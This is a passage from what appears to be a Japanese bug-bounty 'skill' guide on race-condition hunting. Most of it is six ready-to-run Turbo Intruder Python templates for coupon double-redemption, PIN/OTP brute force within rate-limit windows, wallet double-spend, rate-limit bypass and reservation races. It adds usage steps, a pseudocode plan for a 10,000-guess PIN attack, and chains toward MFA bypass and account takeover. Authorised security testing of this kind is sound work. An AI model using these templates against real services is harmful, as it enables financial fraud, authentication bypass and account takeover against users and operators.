- 実際にはレースが発生しないエンドポイント(行レベルのロックやトランザクションがあるエンドポイントなど)にシングルパケット方式を使わないでください。ウィンドウ推定の手順は、PoC の構築に 2 時間を費やす前に、こうしたエンドポイントを除外するためにあります。
相互参照
hunt-http-smuggling— h2.cl の複数フレームバリアントhunt-mfa-bypass— OTP のレート制限ウィンドウをシングルパケットで回避(Flatt の PIN 総当たりクラス)hunt-business-logic— シングルパケット方式が成立の鍵となる、クーポン/ウォレット/プロモーションのステートマシンにおけるレース- 上記の公開済みレポートの引用 — 引用 #4、#11、#12 は、シングルパケット方式の代表的な事例です(GitLab/Devise CVE-2022-4037、Flatt による 1 万件のリクエストを用いた PIN 総当たり、nopCommerce CVE-2024-58248)
Turbo Intruder の完全なテンプレート — Python コード一式
以下は、主要な競合状態のシナリオすべてに対応する、完全に動作する Turbo Intruder の .py テンプレートです。
それぞれ単独で動作する Burp Turbo Intruder 拡張スクリプトです。.py として保存し、Turbo Intruder に読み込んで、
対象のエンドポイントを指定してください。
テンプレート 1:基本的なシングルパケット競合(クーポン/投票/引き換え)
# turbo_basic_race.py
# Use against: coupon redemption, upvote/like, gift-card redeem, one-time actions
# Strategy: Send N identical requests in a single HTTP/2 packet. If the endpoint
# lacks atomic check-then-write, multiple succeed.
#
# Tune N: start at 20, increase to 50-100 if the server is fast (<10ms response).
# If using HTTP/1.1 only, remove engine=Engine.BURP2 line.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # Single TCP connection
requestsPerConnection=100, # H2 stream limit
engine=Engine.BURP2, # Single-packet engine (HTTP/2 only)
pipeline=False,
)
# Queue N identical requests, all gated
for i in range(30):
engine.queue(target.req, gate='race1')
# Release all final bytes in a single TCP write
engine.openGate('race1')
engine.complete(timeout=10)
def handleResponse(req, interesting):
# Log all 200/201/202 responses — if count > expected_successes, race won
if req.status in ('200', '201', '202', '204'):
table.add(req)
テンプレート 2:リクエストごとにペイロードを変更(PIN の総当たり/OTP の推測)
# turbo_pin_bruteforce.py
# Use against: PIN-based MFA, OTP validation, numeric codes, short tokens
# Strategy: N concurrent guesses inside a single rate-limit window.
# Requires: known target account, known PIN length (e.g., 6 digits).
# Combine with Flatt first-sequence-sync for 10,000+ concurrent guesses.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=200,
engine=Engine.BURP2,
)
# Generate all 4-digit PINs (0000-9999) — 10,000 candidates
# This would be split across multiple runs. For single-packet,
# test batches of ~50-100 at a time.
for pin in range(10000):
pin_str = f"{pin:04d}"
# Build request body with the PIN
body = target.req.replace(b'FUZZ', pin_str.encode())
engine.queue(body, gate='race1')
engine.openGate('race1')
engine.complete(timeout=30)
def handleResponse(req, interesting):
# A non-403/non-rate-limited response signals a hit
if req.status != '403' and req.status != '429':
table.add(req)
テンプレート 3:複数エンドポイント間の競合(入金+出金/送金+確認)
# turbo_multi_endpoint.py
# Use against: wallet transfer (withdraw-to-A + deposit-to-B),
# balance-confirm race, double-spend across endpoints
# Strategy: Race two different endpoints that share state (common in fintech).
# Queue requests in alternating order so they arrive simultaneously.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Request 1: withdraw from account A (requires target A's endpoint base)
# Request 2: deposit to account B
# Alternate so the server processes both in the same scheduler tick
transfer_req = b'POST /api/transfer HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"from\": \"acc_A\", \"to\": \"acc_B\", \"amount\": 1000, \"nonce\": \"RACE_NONCE\"}'
confirm_req = b'POST /api/confirm-transfer HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"transfer_id\": \"RACE_NONCE\", \"confirm\": true}'
# Queue interleaved
for i in range(15):
engine.queue(transfer_req.replace(b'RACE_NONCE', str(i).encode()), gate='race1')
engine.queue(confirm_req.replace(b'RACE_NONCE', str(i).encode()), gate='race2')
# Release both gates simultaneously
engine.openGate('race1')
engine.openGate('race2')
engine.complete(timeout=15)
def handleResponse(req, interesting):
table.add(req)
テンプレート 4:競合によるレート制限の回避
# turbo_rate_limit_bypass.py
# Use against: endpoints with per-minute/per-second rate caps
# Strategy: N concurrent requests from the same session/IP all pass
# the rate-limit check before any increments the counter.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Queue enough requests to exhaust the rate-limit window + extras
for i in range(100):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
engine.complete(timeout=10)
def handleResponse(req, interesting):
# Compare responses — if first N succeed then rate-limit kicks in,
# the race is partial. If ALL return 200, rate limiter is completely
# bypassed by the concurrent batch.
if req.status == '200':
table.add(req)
elif req.status == '429':
interesting = True # Mark the rate-limit boundary
table.add(req)
テンプレート 5:シーケンシャルゲート競合(遅延ウィンドウ/複数ステップ)
# turbo_sequential_gates.py
# Use against: Deferred race windows (action creates a temporary state
# that must be raced before cleanup), multi-step flows
# Strategy: Gate 1 opens N actions. Gate 2 opens M consuming actions.
# Both fire in the same TCP write.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2,
)
# Gate 1: Create the resource
create_req = b'POST /api/create-reservation HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"item_id\": \"LIMITED_ITEM\", \"qty\": 1}'
# Gate 2: Claim the resource (must arrive before cleanup)
claim_req = b'POST /api/claim-reservation HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"reservation_id\": \"RACE_ID\"}'
for i in range(20):
engine.queue(create_req, gate='race1')
for i in range(20):
engine.queue(claim_req, gate='race2')
# Both gates release simultaneously
engine.openGate('race1')
engine.openGate('race2')
engine.complete(timeout=15)
def handleResponse(req, interesting):
table.add(req)
テンプレート 6:競合ウィンドウの測定プローブ
# turbo_probe_window.py
# Use BEFORE the actual exploit to estimate the race window size.
# Measures response times for serial vs concurrent requests.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=10,
engine=Engine.BURP2,
)
# Single request — baseline
engine.queue(target.req, label='baseline')
# 5 concurrent — test parallelism
for i in range(5):
engine.queue(target.req, label='race_test', gate='probe')
engine.openGate('probe')
engine.complete(timeout=10)
def handleResponse(req, interesting):
table.add(req)
# After run: compare req.time on 'baseline' vs 'race_test' labels.
# If race_test times ≈ baseline, server parallelizes → good for race.
# If race_test times = baseline × count, server serializes → harder race.
使用方法:
- Burp → Extensions → Turbo Intruder → send request to Turbo Intruder を開きます
- デフォルトのスクリプトを上記の任意のテンプレートに置き換えます
- 希望する並行数に合わせて
N(範囲の上限値)を調整します - HTTP/2 の場合は
engine=Engine.BURP2を設定します。HTTP/1.1 にフォールバックする場合は削除します - 「Attack」をクリックし、テーブルペインで結果を確認します
- PIN の総当たりの場合:候補をオフラインですべて生成し、約 50~100 件ずつのバッチに分割します
- Wireshark で検証する場合:攻撃の実行中に
sudo tcpdump -i any -w race.pcap port 443を実行します
エンジンの比較:
| エンジン | プロトコル | 競合ウィンドウ | ユースケース |
|---|---|---|---|
Engine.BURP2 | HTTP/2 | <1ms(シングルパケット) | デフォルト — 最速で最も信頼性が高い |
Engine.HTTP2 | HTTP/2 | ~5-10ms(最終バイト同期なし) | BURP2 を利用できない場合 |
Engine.THREADED | HTTP/1.1 | ~50-200ms | H2 非対応の対象へのフォールバック |
Engine.LEGACY | HTTP/1.1 | ~100-500ms | レガシー/ブロッキングバックエンド |
Flatt の first-sequence-sync アプローチとの組み合わせ(10,000 件以上のリクエスト):
PIN の総当たり(200ms 未満で 10,000 個の候補):
# Pseudocode — full implementation per Flatt Security research:
# 1. Open N TCP connections (N = fragment count)
# 2. Synchronize TCP SEQ numbers across all connections
# 3. Queue M requests per connection (total = N × M = 10,000)
# 4. Release all final bytes across ALL connections simultaneously
# using kernel-level TCP_COOKIE or IP_MTU_DISCOVER tricks
# 5. Server receives all 10,000 in the same IP-processing window
検証
このセルフテストを実行して、競合状態の調査を始める準備ができていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。
grep -q "name: hunt-race-condition" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- シングルスレッドでのテスト — 競合状態のテストには並列リクエストが必要です。Curl だけでは、信頼性の高い実証はできません。Python の
asyncioまたは複数スレッドを使用する Burp Intruder を使います。 - 状態変化を伴わない TOCTOU — チェックと使用の間に状態が変化したことを実証しなければ、タイム・オブ・チェック・トゥ・タイム・オブ・ユースは理論上の問題にとどまります。
- 競合ウィンドウが小さすぎる — チェックと使用の間のウィンドウがマイクロ秒単位の場合、競合を実用的に発生させるのは難しい可能性があります。報告する前にウィンドウを測定してください。
- 制限超過の競合 — クーポン/クレジット/出金の競合は、最も影響が大きいものです。単に連続してリクエストするのではなく、正確に並列リクエストを送ってテストしてください。
関連するスキルとチェーン
hunt-business-logic— ビジネスロジックの各状態マシンにおいて、競合状態は「並行性」の側面を担います。チェーンの基本要素:ビジネスロジック(クーポン/プロモーション)+競合状態を利用した単一パケット攻撃 → クーポンが N 回引き換えられる → 直接的な金銭的損失。hunt-mfa-bypass— OTP の有効期限とリプレイ保護は、典型的な競合状態の標的です。チェーンの基本要素:競合状態+MFA 検証エンドポイント → 有効期間内に N 件の検証リクエストを同時送信して OTP の有効期限を回避。hunt-ato— パスワードリセット、メールアドレス変更、アカウント作成における競合状態は、永続的な ATO を可能にします。チェーンの基本要素:メールアドレス変更エンドポイントでの競合状態+アトミック更新の欠如 → 被害者のメールアドレスを差し替え、ユーザーに気づかれる前にリセットトークンを読み取る。hunt-api-misconfig— アトミックな UPDATE を行わないウォレット/残高/クレジットのエンドポイントは、二重使用の候補です。チェーンの基本要素:競合状態+アトミック更新の欠如 → 残高を二重使用 → ユーザー残高の N 倍を引き出す。security-arsenal— Turbo Intruder の単一パケットテンプレート、アトミック送信用の h2.cl スマグリング、curl --nextによる並列複数リクエストのパターンを読み込みます。triage-validation— 統計的サンプリングの基準を適用します。異常な応答が 1 件だけならノイズです。報告前に、成功例 1 件と、重複/割り当て上限超過/古い状態を示す例 N 件を、応答のスクリーンショットとともに提示する必要があります。
フェーズ X — 接続のウォームアップと DB 分離レベル
接続のウォームアップ:競合状態のテストを開始する前に TCP+TLS 接続を確立し、同時送信には curl --parallel を使用します。
最終バイトの同期:HTTP/2 で単一パケットを送信するには、Turbo Intruder の engine=Engine.BURP2 を使用します。
データベースの分離レベル:READ COMMITTED では SELECT と UPDATE の間にファントムリードが発生し得ます。N 件の同時支払い/引き出しリクエストでテストします。
GraphQL のエイリアスによる並列ミューテーション:mutation { a: redeem B: redeem c: redeem } — 順次実行を回避します。